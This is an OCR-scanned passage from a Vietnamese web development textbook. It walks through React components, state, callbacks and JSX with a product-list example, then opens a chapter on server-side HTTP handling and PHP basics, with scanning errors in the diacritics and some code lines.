trede day. Ma nguon bo sung duoc t6 nén trong vi du sau. Thit nhat, trong phan
CSS, 16p .yellow dwoc bd sung v6i thudc tinh nén mau vang. Thi hai, state caa
thanh phan Product duoc thiét lap véi thudc tinh isBookmarked, trong do
isBookmarked la true twong dwong san phadm duwoc danh dau va nguoc lai. Thit ba,
phuong thic handleClick() dugc dinh nghia. Phuong thic nay goi phuong thic
setState() d€ thay doéi thudc tinh isBookmarked cua state. Luu y state dwgce cap nhat
khong dong bd nén setState() can 1dy trang thai trudc caa state 1a prevState d€ dam
bao d6 la trang thai cadp nhat nhat trwde khi thay d6i. Luu y khéc, can budc
phuong thiec handleClick() méi dugc dinh nghia vao thanh phan Product bang 1énh
this.handleClick = thisshandleClick.bind(this). (Thttwogia tri thudc tinh className ctia
do6i teong<div> dwoc dat iy thude vao gia tri cua isBeekmarked. Néu isBookmarked
la false, className! cia <div> chi nhan 16p”CSS Lboxy Nguoc lai, néu'isBookmarked 1a
true, className \e€ua“<div>| nhan/ hai \16p, CSS \box va_yellow. Cudi/ cung, trong
phuong thitc render() cia thanh phan Product duoc bd sung mot nit bam c6 nhan
la "Set bookmark" hodc "Remove bookmark" tuy thudc vao gia tri caa isBookmarked
la false hay true. Su kién onClick cia nat bam duoc gén voi phuong thtic
handleClick(). K&t qua la mdi khi nguoi dung bdm vao nat bam, phuong thtic
handleClick() duoc goi lam thay d6i gid tri isBookmarked cua state. Khi d6, phuwong
thirc render() duoc goi theo day truyén dé cap nhat lai CSS cho d6i tuwong <div> va
nhan cho nat bam.

1. <style>

2. .box {border:solid 1px red;}

3. .yellow {background-color:yellow;}

4. </style>

5. <div id="root"></div>

6. <script>

7. class Product extends React.Component {

8. constructor(props) {

9. super(props);

10. this.state = {isBookmarked:false}

11. this.handleClick = this.handleClick.bind(this);

12. }

13. handleClick() {

14. this.setState(prevState =>

15. ({ isBookmarked: !prevState.isBookmarked }));
16.

17. render() {

18. return React.createElement(

19. "div",

20. {className: this.state.isBookmarked ? ‘box yellow' : ‘'box'},
21. React.createElement("h1", null, this.props.name),
22. React.createElement("p", null, this.props.description),
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23, React.createElement("button",

24. { onClick: this.handleClick },

25. this.state.isBookmarked ?

26. 'Remove bookmark' : 'Set bookmark')
27. )

28. }

29. }

30. ReactDOM.render(...);
31.</script>

Vi du duoc mo rdng ¢ trén mot mdt minh hoa viéc cap nhat thudc tinh state
dan dén tw dong cap nhat giao dién, mat khac minh hoa dwgc cac van dé xur ly sw
kién trén giao dién va tao giao dién c6 diéu kién. Cu thé, sy kién onClick trén nut
bdm duoc bat va xit ly bang phuong thiec handleClick(). handleClick() 1a phuwong
thirc tu dinh nghia nén phai dugc budc vao thanh phan Product. Nhan ctia nut
bam hay CSS cua <div> 1a nhiing vi du vé tao giao dién theo diéu kién. Nhan cta
nut badm va CSS cua <div> sé thay doi twong ting theo gia tri ctia isBookmarked.

5.4.3. Bu§¢ dir lieu mot-chiéu frén-xudng

Trong vi du trén, mac dinh san phadm.khong.dugc ddnh ddu, do isBookmarked
cua thanh phan Prodwet cd gia tri-khoi tao la false. Bay gio, m@nguon sé ti€p tuc
duoc thay d6i d€ khitao thanh ‘phan Prodiict, gid tri clia isBookimarked ¢ thé duoc
khoi tao la true hay false. D€ thuc hién diéu nay, gid tri cta state s€ duoc khoi tao
theo dir liéu vao, tic theo props. Ma ngudn bo sung isBookmarked cho props, dong
thoi st dung isBookmarked ctia props lam gia tri khoi tao cho isBookmarked cua state
nhu sau.

1. <script>

2 class Product extends React.Component {

3 constructor(props) {

4. super(props);

5. this.state = {isBookmarked:ithis.props.isBookmarked}
6 this.handleClick = this.handleClick.bind(this);

7 }

8.

9. }

10. ReactDOM.render(

11. React.createElement(

12. Product,

13. {name:"Dell Laptops”, description:"Laptops from Dell",
14. isBookmarked: true}

15. )

16. document.getElementById( 'root"')

17. );

18. </script>

Bay gio, yéu cau duoc dat ra khong phai 1a hién thi mot san pham nita ma la
mot danh sach cac san pham. Thanh phan Product sé khong thay d6i ma duoc st
dung lai. Thanh phan méi ProductList dwoc bd sung. ProductList nhan dau vao la
mot danh séch cac san pham, mdi san pham 1a mot ddi twong JavaScript don gian.
Phuong thirc render() ciia nd sé sit dung thanh phan Product d€ hién thi tirng san
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phdm. Ngoai ra, render() st dung mot anh xa d€ duyét danh sach san pham dau
vao. Phuong thittc ReactDOM.render() dwgc viét lai d€ tao thanh phan ProductList
thay cho Product nhu trede day. Ma nguon bo sung duoc cho trong vi du sau.

1. <script>
2 class Product extends React.Component {...}

3 class ProductList extends React.Component {

4 constructor(props) { super(props); }

5. render() {

6 const listItems = this.props.products.map(

7 p => React.createElement(Product,

8 { name: p.name, description: p.description,

9. isBookmarked: p.isBookmarked })

10. )3

11. return React.createElement('div', null, listItems);

12. }

13. }

14.

15. ReactDOM.render(

16. React.createElement(ProductList, { products:

17. [{ name: "Dell Laptops", description: "Laptops from Dell",
18. isBookmarked: false },

19. { name: "Dell PCs", description: "PCs from Dell",

20. isBookmarked: true },

21. { name: "HP Laptops", description: "Laptops from HP",
22. isBookmarked: false }] }

23. )

24, document.getElementById( 'root")

25. );

26.</script>

Vi du nay cho thay thanh phan chita thanh phan con. N6 cling cho thay r6 hon
luong/budc dir liéu mot-chiéu (unidirectional data flow hodc one-way binding)
duoc chay tir trén xudng (top-down) ctia React. Cu thé, dit liéu tir thanh phan cha
duoc chuyén xudng thanh phan con thong qua props, roi tir thanh phan con xuéng
thanh phan chdu, ... D€ st dung React, ngwoi phat trién web tiép can theo hudéng
trén-xudng hodc dudi-lén. Ti€p can trén-xudng chia nho giao dién thanh cac thanh
phén, thanh phan 16n thanh cac thanh phan nhé hon, thanh phan cudi cung va
nhé nhat chi st dung cdc phan tix React c6 sdn. Ngwoc lai, ti€p can dudi-lén tao ra
nhing thanh phan nhoé trude, sau dé stt dung cac thanh phan nhé dé€ xay dung
thanh phan 16n hon. Cac thanh phan doc lap nhau va st dung lai duwoc nén nhiing
cach ti€p can néu trén rat hiéu qua trong viéc xay dung va cap nhat giao dién ting
dung web.

5.4.4. Chuyén dit liéu nguoc 1én bang ham goi lai

Yéu cau ti€p tuc duoc dua ra la giao dién can cung cdp mot 6 nhap ndi dung
tim kiém, cho phép mdi khi nguoi ding gd nhap xau can tim, tng dung chi hién
thi cac san phdm c6 tén hodc miéu ta chira xau dwgc nhap. Luc nay, cac thanh
phéan Product va ProductList 1a khong du. Chwong trinh sé duwgc b6 sung hai thanh
phan méi la SearchBar va SearchableProductList. SearchBar cung cap 6 nhap xau can
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tim con SearchableProductList la thanh phan ch&a ca ProductList va SearchBar. Ma
nguon duoc bo sung hodc stta d6i dwgc cho trong vi du sau. Luu y, dén thoi diém
nay chua c6 thay doi gi trén cac thanh phan Product va ProductList. Ngwoc lai,
phuong thitc ReactDOM.render() tao thanh phan SearchableProductList thay cho
thanh phan ProductList nhw trwdc ddy. SearchableProductList sé chuyén ti€p danh
sach san pham cho ProductList theo ludng d liéu mdt-chiéu trén-xudng.

1. <script>
2 class Product extends React.Component {...}
3 class ProductList extends React.Component {...}
4, class SearchBar extends React.Component {
5. render() {
6 return React.createElement("input", {type:"text",
7 placeholder:"Input text to search"});
8

. }
9. }
10. class SearchableProductList extends React.Component {
11. render() {
12. return React.createElement("div", null,
13. React.createElement(SearchBar, null),
14. React.createElement(ProductList,
15. {products:this.props.products})
16. )
17. }
18. }
19. ReactDOM.render(
20. React.createElement(SearchableProductList, {products: [ ...] }),
21. document.getElementById( 'root")
22. );

23.</script>

Bay gio, giao dién ctia tng dung da xuat hién 6 nhap van ban véi goi y "Input text
to search” phia trén danh sach cac san pham. Di nhién, néu ngwoi dung nhap van
ban vao 6 nhap vao thoi diém nay thi chwa c6 diéu gi xay ra ca. Ma nguodn can tiép
tuc dugc bo sung, stra do6i d€ cung cap twong tac cho ting dung.

Van dé can xt ly ltc nay la lam thé€ nao d€ chuyén xau can tim ttr thanh phan
SearchBar dén tiing thanh phan Product d€ Product quyét dinh ¢6 hién thi san pham
trén giao dién hay khong can c vao xau can tim. SearchBar va Product khdng chira
nhau nhung ¢6 t0 tién chung la SearchableProductList. Do vay, giai phap cho van dé
trén la dwa xau can tim nguoc t& SearchBar 1én SearchableProductList, roi tie
SearchableProductList xudi xudng ProductList r6i Product.

bé chuyén dor liéu nguoc tit SearchBar 1én  SearchableProductList,
SearchableProductList can chuyén xudng cho SearchBar mot tham chiéu ham, con
goi 1a ham goi lai (callback function), bang budc dit liéu trén-xudng, tir doé
SearchBar c6 thé goi dén ham goi lai ctia SearchableProductList va truyén dix liéu cho
SearchableProductList dwdi dang tham s6 ctia ham goi lai. Ma ngu6n b6 sung duoc
t0 nén trong vi du sau. SearchableProductList dwoc bd sung phuong thiec doSearch(),
dong thoi tham chiéu ctia phuwong thirc doSearch() dugc chuyén xudng props cta
SearchBar véi thudc tinh onSearch. O thanh phan SearchBar, phuong thtic
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handlelnputTextChanged() duoc bo sung dé xtt ly su kién onChange cua 6 nhap xau
can tim. Mdi khi nguoi dung gd vao 6 nhap xau can tim, handlelnputTextChanged()
duoc goi va nd goi dén ham goi lai (doSearch() ctia SearchableProductList) dang
duoc tham chiéu boi thudc tinh onSearch, dong thoi truyén xau can tim cho ham
goi lai. Phuong thitc doSearch() caa SearchableProductList hién thi xau can tim duwdi
dang mot thong bao.

1. <script>

2 class Product extends React.Component {...}

3 class ProductList extends React.Component {...}

4. class SearchBar extends React.Component {

5. constructor(props) {

6 super(props);

7 this.handleInputTextChanged =

8. this.handleInputTextChanged.bind(this);
9. }

10. handleInputTextChanged(e) {

11. this.props.onSearch(e.target.value);

12.

13. render() {

14. return React.createElement("input"”, {type:"text",
15. placeholder:"Input text to search",
16. onChange:this.handleInputTextChanged });
17. }

18. }

19. class SearchableProductList extends React.Component {
20. constructor(props) {

21. super (props);

22. this.doSearch = this.doSearch.bind(this);

23. }

24. doSearch(txt) { alert(txt); }

25. render() {

26. return React.createElement("div", null,

27. React.createElement(SearchBar,

28. {onSearch:this.doSearch}),
29. React.createElement(ProductList,

30. {products:this.props.products})
31. )

32. }

33. }

34. ReactDOM.render(...);
35. </script>

Luc nay, xau can tim da dwoc chuyén dén thanh phan SearchableProductList.
SearchableProductList can chuyén xau can tim xudng ProductList, r6i Product. Diéu
nay co thé dugc thuc hién bf?mg budc dit liéu mot-chiéu trén-xudng. Ngoai ra, mdi
khi xau can tim thay doi, giao dién phai duoc cap nhat lai do mot sd san pham sé
duoc an di trong khi mét s6 khéc lai can dwoc hién thi ra. Yéu cau nay duoc giai
quyét rat don gian bang cach dat xau can tim vao state ctia SearchableProductList vi
moi khi state thay d6i, phuong thiic render() sé tu dong duoc goi dé€ cap nhat lai
giao dién. Ma ngudn duoc bd sung cho SearchableProductList dugc té nén trong vi
du sau. Thudc tinh searchText dwgc dat vao state va truyén xudng ProductList.
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Phuwong thitc doSearch() cap nhat searchText béng xau can tim nhan dwoc tir
SearchBar.

1. <script>

2 class Product extends React.Component {...}

3. class ProductList extends React.Component {...}

4, class SearchBar extends React.Component {...}

5. class SearchableProductList extends React.Component {
6. constructor(props) {

7. super(props);

8. this.state = {searchText: ""};

9. this.doSearch = this.doSearch.bind(this);

10. }

11. doSearch(txt) { this.setState({searchText: txt}); }
12. render() {

13. return React.createElement("div", null,

14. React.createElement(SearchBar,

15. {onSearch:this.doSearch}),
16. React.createElement(ProductlList,
17. {products:this.props.products,
18. searchText:this.state.searchText})
19. )

20. }

21. }

22.

23. ReactDOM.render(...);
24. </script>

Khi nhidn duoc xdu tim ki€fm cung véi danh sach san phdm tw
SearchableProductList, tng v&i mbi san pham, ProductList phai phan tich xem san
pham c6 chira xau tim kiém hay khong, va do vay, c6 duoc hién thi hay khong.
Ma nguodn cuia ProductList dwgc thay d6i gan hét. Thay vi st dung phuong thirc
map() nhw treée day, ProductList st dung phuong thirc forEach() d€ duyét qua
tirng san phdm. Phuwong thirc indexOf() dwgce st dung dé kiém tra xem tén hay mo
ta san phdm c6 chira xau can tim hay khong. Thudc tinh display duoc b6 sung dé
chita két qua kiém tra nay. Gia tri display, sau d6 dugc chuyén xudng cho Product
bang budc dit liéu mot chiéu trén-xudng.

1. <script>

2 class Product extends React.Component {...}

3 class ProductList extends React.Component {

4, constructor(props) { super(props); }

5. render() {

6. var listItems = [];

7 this.props.products.forkach((p) => {

8. var txt = this.props.searchText.toLowerCase();
9. var n = p.name.tolLowerCase();

10. var desc = p.description.tolLowerCase();

11. listItems.push(

12. React.createElement(Product, {

13. name: p.name,

14. description: p.description,
15. isBookmarked: p.isBookmarked,
16. display: (txt == "" ||

17. n.index0f(txt) > -1 ||
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18. desc.indexOf(txt) > -1) })
19. );

20. })s

21. return React.createElement('div', null, listItems);
22. }

23. }

24. class SearchBar extends React.Component {...}

25. class SearchableProductList extends React.Component {...}
26. ReactDOM.render(...);

27.</script>

Cudi cung, khi nhan duwoc san phdm véi bo sung thong tin vé trang thai hién
thi ctia san phdm, Product sé xt dung CSS d€ an hay hién san phdm tuong tng.
Ma nguoén bo sung duoc to nén trong vi du sau. Thit nhat, mot 16p CSS méi la
nodisplay duoc bo sung. Lop nay chi ¢c6 mot thudc tinh véi gia tri ¢6 tac dung an
do6i twong dwgc ap dung. Thit hai, className cua <div> cho san pham sé nhan
.nodisplay néu san pham khong duoc hién thi.

1. <style>

2. .box {border:solid 1px red;}

3. .yellow {background-color:yellow;}

4. .nodisplay {display:none;}

5. </style>

6. <script>

7. class Product extends React.Component {

8. constructor(props) {...}

9. handleClick() {...}

10. render() {

11. return React.createElement("div",

12. {className: this.props.display ?

13. (this.state.isBookmarked ? "box yellow" : "box") :
14. "nodisplay"},

15. React.createElement("h1", null, this.props.name),
16. React.createElement("p", null, this.props.description),
17. React.createElement("button",

18. { onClick: this.handleClick },

19. this.state.isBookmarked ? 'Remove bookmark'
20. 'Set bookmark")

21. )

22. }

23. }

24. class ProductlList extends React.Component {...}

25. class SearchBar extends React.Component {...}

26. class SearchableProductList extends React.Component {...}
27. ReactDOM.render(...);

28. </script>

5.4.5. JSX

Mot mé rong tuy chon cho React 1a JSX (JavaScript eXtension). So di JSX 1a tuy
chon vi khong dung né cting dwoc. JSX ra doi voi muc dich cho phép khai bao cac
thanh phan React tuong ty khai bao cac ddi tuong trong HTML. N6i cach khéc,
JSX cung cdp mot ct phap khac, dé hon, thay cho viét 1énh React.createElement().
Vi dy, cau lénh tao thanh phan React.createElement(Product, {name:"Dell Laptops”,
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description:”Laptops from Dell”, isBookmarked: false}); c6 thé dugc viét theo JSX la
<Product name="Dell Laptops” description="Laptops from Dell” isBookmarked="false"/>.
Dé thay, cau 1énh viét theo JSX ngén gon, rd rang va dé hiéu hon. Chinh vi vay,
hau hét lap trinh vién sit dung React déu sit dung JSX. Luu y, JSX la mé rong ct
phap JavaScript chtt khong phai HTML hay ngon ngit biéu mau. Ngoai thay thé
cau lénh React.creatElement(), JSX cho phép nhung cac biéu thitc JavaScript (viét
gitta { va }) vao bat ky vi tri nao. Biéu d6 lam cho viéc dinh nghia cac thanh phan
tro nén dé dang hon. Vi du, <hI>{this.props.name}</h1> la cach viét ctia JSX thay
cho React.createElement("h1”, null, this.props.name).

Vi du sau day cho thdy thanh phan SearchableProductList va phuong thirc
ReactDOM.render() dwoc viét theo JSX.

1. <script>

2 class Product extends React.Component {...}

3 class ProductList extends React.Component {...}

4. class SearchBar extends React.Component {...}

5. class SearchableProductList extends React.Component {
6 constructor(props) {

7

8

super(props);
. this.state = {searchText:""};
9. this.doSearch = this.doSearch.bind(this);
10. }
11. doSearch(txt) {this.setState({searchText:txt});}
12. render() {
13. return <div>
14. <SearchBar onSearch={this.doSearch}/>
15. <ProductlList products={this.props.products}
16. searchText={this.state.searchText}/>
17. </div>;
18. }
19. }
20. ReactDOM.render(
21. <SearchableProductList products={[...]}/>,
22. document.getElementById('root")
23, );

24.</script>

5.4.6. Thiét 1ap moi truong React

D€ c6 moi truong chay uing dung React, hay bao ham céc tép thu vién react.js
va react-dom.js ciia React, dong thoi bao ham thu vién tién xt ly JavaScript babel.js
co tai https://babeljs.io/. Tuy nhién, cach thiét lap nay it duoc thuc hanh trong thuc
t€. Ly do la ma ngudn JSX duoc chuyén dén trinh khach va trinh khach phai mat
nhiéu thoi gian chay cac thu vién Babel va React d€ chuyén doi JSX thanh
JavaScript. Thay vao d6, 1ap trinh vién nén thiét 1ap moi treong phat trién tai may
cua lap trinh vién. Sau khi phat trién ma JSX, 1ap trinh vién thuc hién "build" tng
dung d€ chuyén d6i JSX thanh JavaScript thuan, r6i dem tng dung vdi JavaScript
thuan di trién khai trén may phuc vu. Nguoi doc quan tam cach thiét lap moi
truong ndy c6 thé tham khao huwéng dan cai dit va cadu hinh tai
https://facebook.github.io/react/docs/installation.html.
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5.5. CAP NHAT KIEN THUC VE PHAT TRIEN MAT TRUOC

Véi xu huwdng thién vé mat trude bang kién tric thick client - thin server, ngay
cang nhiéu cic thw vién phat trién mat trudc dugce ra doi. Ba thu vién jQuery,
Bootstrap va React duogc gidi thiéu trong gido trinh nay la nhitng thue vién dang
duoc dung pho bién hién nay. Ngoai ba thu vién trén, nhiéu thu vién phat trién
mat trudc khac ciing dwgc nhiéu lap trinh vién st dung nhu Ember, Meteor,
Angular, Foundation, Backbond, ... Trong twong lai, nhiéu thu vién khac sé ra doi
va cung cdp nhitng tinh nang hitu ich hon nhitng thw vién hién cé. Chinh vi vay,
viéc nam viing kién thirc nén tang (Chuwong 2-4) d€ sén sang tiép can thw vién moi
la yéu cau bat budc d6i véi moi 1ap trinh vién phét trién ting dung web.

Bai tap

1. Véi mdi chwong trinh vi du dugc trinh bay trong chirong nay, hay thay ddi gia
tri cac|thudc tinh ctiacde doi, twong trong,chuong, trinhy réi chay lai chuwong
trinh d€ thay thay doi tzén giao dien.

2. Cai dat va thiét lapymoitrueong phattrienReact. St dung moiytrudng nay dé
chuyén 'd6i cac chuwong trinh vi“du trong Mue 5.4 t ma nguon/React thanh
JavaScript thuan.
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3. Kirupa Chinnathambi, "Learning React, 1st Edition", Addison-Wesley
Professional, 2016.

118



Chuong 6
CONG NGHE WEB PONG

6.1. NHIEM VU BEN PHUC VU

Chuong 1 da trinh bay kién tric tng dung web, trong dé c6 tong quan vé chirc
nang va cac thanh phan bén phuc vu. Ngoai ra, Chuong 1 cling cho biét phan biét
gitta web tinh va web dong. Chuong 6 nay va nhiing chuong tiép sau chi trinh bay
nhitng van dé lién quan web ddng vi viéc phuc vu web tinh kha don gian va truc
tiép, chi can doc ndi dung cb sdn trong tép rdi glri cho trinh khach.

V6i web dong, rat nhiéu van dé phai duoc quan tam giai quyét. Theo d¢, to
hop bén phuc vu (trinh phuc vu web + phuc vu tng dung, hé quan tri co s¢ dix
liéu, ...) phai-thwc hién nhiéu nhiém vy,khac nhau. Nhitngnhiém vu cu thé, ciing
nhu cach thée thue hién moi nhiem vu ‘ciiabén phuc vu'sé-duwoc trinh bay khai
quat ngay'sau day. Mét cach,tong quat; bat ky-t6 hop bén phuc yu nao clng st
dung ngon'ngtr lap tritth web dongsthuc hién nhitng nhiém vtrsau'va theo nhirng
nguyén ly kha giong nhau.

6.1.1. Tiép nhan va phéan tich yéu ciu HTTP

Khi nhan duoc yéu cau HTTP tt trinh khach, dau tién trinh phuc vu web sé
xac dinh tai nguyén nao duoc trinh khach yéu cau bang viéc phan tich duong dan
c6 trong yéu cau. Can cit vao dinh dang cua tai nguyén, trinh phuc vu web sé
chuyén tiép yéu cau dén trinh phuc vu tng dung twong ung. Vi dy, néu tai
nguyén la mot tép PHP, trinh phuc vu web sé chuyén yéu cau HTTP dén trinh
thong dich PHP, nguoc lai néu tai nguyén la mot tép ASPX, trinh phuc vu web sé
chuyén yéu cau HTTP dén .NET Framework. Nhéc lai réng phia sau trinh phuc vu
la hang t4 trinh phuc vu tng dung, mdi trinh phuc vu tng dung c6 thé va cé
nhiém vu x& ly hay phuc vu mot vai dinh dang tai nguyén cu thé.

Nhu da biét, yéu cau HTTP la mot van ban c6 cdu truc, bao gom dong yéu cau,
nhiéu dong tiéu dé va c6 thé cé mot than. Phan tich mot cach sdu hon, yéu cau
HTTP 1a mét tap cac cdp thudc-tinh:gig-tri dwoc thé hién dudi dang van ban. Thudc
tinh c6 thé 1a tiéu dé HTTP hodc tham s6 do tng dung dinh nghia. Khi nhan dwoc
yéu cau HTTP ttr trinh phuc vu web, trinh phuc vu ting dung sé te dong phan tich
van ban nay, bdc tach cac thudc tinh va gia tri dwgc thé hién trong van ban, va luu
cac cap thudc-tinh:gid-tri vao nhitng b suu tap (collections) khac nhau. Mdc du
khong c6 quy dinh chung nao vé viéc phan chia thudc tinh vao cac bd suu tap, cac
cong nghé web khac nhau déu str dung cac b swu tap sau:
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- Bg sweu tdp cdc tham s6’ GET: Cac tham s6 GET, hay tham s6 trong chudi truy
van cua URL, duwoc luu trong bo sua tap nay. Vi PHP, bd suu tap cac tham s6
GET la $_GET. V6i ASP.NET, bo suu tap cac tham sd GET 1a Request.QueryString.
Cho du khac nhau vé cach viét, $§_GET va Request.QueryString déu la anh xa voi
khoa (key) 1a tén tham s6 va gia tri la gid tri ctia tham sG.

- Bg swu tdp cic tham s6’ POST: Cac tham s6 POST, hay tham s& dwoc dét trong
than cta yéu cau HTTP, duoc lvu trong bd sua tap nay. Véi PHP, bd suu tap cac
tham s6 POST 1a $_POST. V6i ASP.NET, b0 suwu tap cac tham sd POST la
Request.Forms. Cling nhu véi GET, $_POST va Request.Forms chi khac nhau vé cach
viét.

- B sweu tdp cic tieu dé HTTP: Cac tiéu dé c6 trong yéu cau HTTP, sau khi duoc
phén tich, sé duoc dua vao bd suu tap nay. Mot so tiéu dé nhu Server-Protocol,
Request-Method, User-Agent, ... ¢6 trong hau hét cac yéu cau HTTP. Véi PHP, bo
swu tap cac tiéu dé HTTP la $_SERVER. Vé&i ASP.NET, by suwu tap cac tiéu dé
HTTP la Request-ServerVariables.

- B§ swu tdpycookies: Cadlcookiegphay cac cdp thamesé=gia-tri duoc gan cho tiéu
dé Cookie trong yeulcaw HTTP, duoc lut trong bé sweu tap mays Luwu/y, ban than
tieu dé Cookie va gidwtriscta.no cung dwge/lutntrong.bofsutntap cae tieu deé. Voi
PHP, b0 suu tap cac cookies la §_COOKIE. V61 ASP.NET, b swtu tap cac cookies la
Request.Cookies.

- By swu tdp cdc tép upload: Cac tép dwoc upload tir trinh khdach lén dugc luu
trong bd suwu tap nay. Véi PHP, bd suwu tap cac tép upload la $_FILES. Vi
ASP.NET, bd suu tap cac tép upload la Request.Files.

- Cdc by swu tdp khdc: Ngoai ndm bd suu tap duwoc miéu trd & trén, cling la
nhiing suwu tap hay duoc dung nhét, trinh phuc vu con stt dung mot s6 bo suu tap
khac ntta. Nhitng bo suwu tap khac sé duwgc dé cap khi trinh bay van dé co lién
quan.

6.1.2. Xt ly nghiép vu va tao dap ang HTTP

Cac b0 suu tap voi nhiing cap thudc-tinh:gid-tri dwoc boc tach tir yéu cau HTTP
1a dit liéu vao cho ting dung web. Ung dung web sé xit ly nghiép vu cu thé tiy
thudc vao bai toan dang duoc giadi quyét. Két thuc xtit 1y nghiép vy, ting dung web
can xudt két qua ra dap tng HTTP d€ trinh phuc vu gui dap tng HTTP cho trinh
khach. Mac du khong c6 quy dinh chung nao vé viéc xuat dap ting HTTP, cac
cong nghé khac nhau déu hd tro ti thiéu hai phwong thiic sau day:

- Dwa ndi dung web vao thin ddp 1tng HTTP: Phwong thitc nay quan trong va
luén duoc sit dung vi ndi dung web la nhitng gi ma trinh khach can. Khi nhan
duwoc dap ung HTTP, trinh khach s€ 1ay ra va sit dung ndi dung web duwoc chira
trong than ctia dap ting. Nhac lai rang noi dung web 1a HTML, JavaScript va CSS.
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Véi PHP, phueong thitc dwa noi dung vao dap ing HTTP la echo(). Voi ASP.NET,
phuong thttc dua ndi dung vao dap tng HTTP 1a Response. Write().

- Thém tiéu dé cho dap trng HTTP: Trinh phuc vu web sé dong go6i noi dung web
vao dap tng HTTP cung v6i mot so tiéu dé mdc dinh, va lap trinh vién it phai can
thiép vao tiéu dé cua dap tng HTTP. Tuy nhién, trong nhitng tinh hudng cu thé,
vi du ting dung can gui cookies cho trinh khach, phwong thitc thém tiéu dé cho
dap tng HTTP trd nén can thiét. Vi PHP, phuwong thitc thém tiéu dé cho dap ting
HTTP la header(). Vi ASP.NET, phuwong thitc thém tiéu dé 1a Response. Addheader().

6.1.3. Lvu va stt dung trang thai lam viéc

Trong nhiéu tinh huéng, ttng dung web can phai biét trang thai lam viéc gitta
trinh khac va bén phuc vu. Céan c vao trang thai, tng dung web mdi c6 thé cung
cap nhitng tinh nang ca nhan hoa, xac thuce hay di theo quy trinh, ... Cac cong nghé
web khac nhau déu st dung hai ky thuat la phién (session) va cookie d€ luu va st
dung trang/thai, Voi. PHP, phién va, cookie , dugclrus trong $L.SESSION va
$_COOKIE, tuong ttng. Voi ASP.NET, phién va cookie dwoc luu boi Session va
Response.Cookies. Do eénhing,dac diem dée thuyphién va cookiesé&dugc trinh bay
chi tiét sau, trong Chuong 8.

6.1.4. Luu dix liéu bén viing

Ung dung web dong khong thé thiéu co sé dir liéu. Mbi cong nghé web cd thé
lam viéc v6i nhiéu hé quan tri co s6 dit liéu khéc nhau, trong d6 mot vai hé quan
tri co so dit liéu dwoc vu tién. Vi dy, ting dung PHP thuong st dung co s¢ dit liéu
MySQL/Maria, trong khi tng dung ASP.NET thuong st dung MS SQL Server.
Thao tac co so dit liéu sé duwoc trinh bay trong Chuong 7.

6.1.5. PDaAm bao an ninh

Ctng nhw bat ky phan mém nao, ting dung web can phai dam bao an ninh khi
van hanh. Xéac thuc, diéu khién truy cap, kiém tra hop thiee di liéu vao, lam sach
d@ liéu ra, ... 1a nhitng van dé an ninh ma Gng dung web phai giai quyét. An ninh
tng dung web sé duoc trinh bay trong Chuong 8.

6.2. NGON NGU LAP TRINH PHP

PHP (PHP Hypertext Preprocessor) la ngon ngtt lap trinh da nang ddc biét phu
hop cho phat trién mdt sau tng dung web. Theo thong ké cua Q-success”, vao
thang 6/2017, gan 83% cac tng dung web trén toan thé gidi dugc phat trién voi
PHP, hon nita con s& nay van c¢6 xu huéng tiang. PHP hd tro ca hai phwong phap
lap trinh 1a thu tuc va hudng doi tugng. Cong nghé nay cé thé duoc st dung trén

" https://w3techs.com/
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hau hét cac hé diéu hanh phd bién ngay nay, bao gom Linux, cac bién thé ctua
Unix, Microsoft Windows, Mac OS X, ... N6 cling hd tro hau hét cac trinh phuc vu
web nhu Nginx, Apache, IIS, ... va ¢6 thé giao tiép vdi trinh phuc vu web thong
qua API hodc CGIL Mot trong nhitng di€ém manh nhat va quan trong nhat caa PHP
14 né hd tro nhiéu loai co sd dir liéu. St dung cac mo rong cho co so dit liéu, thao
tac voi co s¢ dit liéu trong PHP thuc sy don gian. Ngoai ra, PHP hd tro nhiéu thu
vién chuyén dung dé thuc hién cac nhiém vu bén phuc vu.

PHP c6 nhiéu ddc diém ngoén ngtr gidng vaéi Java va C. Do vay, voi gia thiét
nguoi doc da biét Java va C, gido trinh chi trinh bay hodc nhan manh nhitng khac
biét cua PHP so véi Java va C. Lap trinh vién Java hay C c6 thé st dung ngay PHP
va tim hiéu thém vé PHP khi can thiét.

6.2.1. Tép/trang PHP

Tép/trang ma nguoén PHP c6 phan mo rong 1a .php. Noi dung tép ma ngudn co
thé bao gomr-PHP; HTME-JavaScript va;CSS, Péan ma PHP dwoc mo dau béng
xau ky tw <?php va két thic bang xau ky tw' ?>.-Cé thé nhuing nhiéu doan ma PHP
vao bat ky vi/tri naostrong tép. Bén ngoaieacdoan ma PHP Aa~HTMLy JavaScript
va CSS. Cae/doan ma PHP dwuog thuc thi bén phuc/vu d€ tao ra phan dong cta
trang web. PHP stt dung ham echo() d€ dua ngi dung vao than dap tng HTTP va
stt dung ham header() d€ thém tiéu dé cho dap ting HTTP.

Xét trang PHP don gian, first-example.php, trong vi du sau day.

1. <IDOCTYPE html><html><head>

2 <title>L.6.2.1</title>

3 <meta charset="utf-8">

4. </head><body>

5 <h1>Xin chao</h1>

6. <?php

7 echo "<p>Biéu dién nhi phan cua 999 1a ";
8 echo decbin(999);

9 echo "</p><input type='button' value='Okie'>";
l0. ?»>

11. </body></html>

Khi thuc thi, trang first-example.php tao ra noi dung web nhw sau:

<IDOCTYPE htmI><html><head><meta charset="utf-8">

</head><body>
<h1>Xin chao</h1>
<p>Biéu dién nhi phan ciia 999 la 1111100111</p><input type="button’
value="Okie ></body></html>

Dé hinh dung trinh dién ctia trang first-example.php trén giao dién cta trinh duyét
la nhw thé nao. O day, mot phan ma HTML cua trang da khong duoc khai béo
ngay tir dau. Thay vao d6, phan ma HTML nay duoc sinh ra khi ma PHP thuec thi
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0 bén phuc vu. PHP goi ham echo() d€ xuat ra ma HTML. Bén canh d6, PHP da su
dung ham dung sdn decbin() d€ tinh bi€u dién nhi phan cua 999 triede khi xuat
biéu dién nhj phan ra HTML. C6 thé so sénh ma PHP giéng nhu nguyén vat liéu,
trong khi ma HTML, JavaScript va CSS giong nhu san phdm cudi; nguyén vat liéu
duoc luu trit va x& ly bén phuc vu d€ tao ra san pham cudi ddp tng yéu cau cta
trinh khéch; tép PHP c¢6 thé chita hon hop ca nguyén vat liéu va san phdm va trinh
thong dich PHP ¢ nhiém vu xtt ly, chuyén thé hon hop dé thanh san pham thuan
khiét. Nhac lai rang, trinh khéach chi yéu cau va chi hiéu HTML, JavaScript va CSS.

Mot cau hoi dwoc dat ra la khi nao trang PHP c6 ca ma PHP 1an HTML,
JavaScript va CSS? Cau tra 16i cé dugc bang viéc ap dung nguyén ly "Tach biét dix
liéu véi trinh dién" trong phét trién phan mém. Nghia 13, phan xt ly nghiép vu
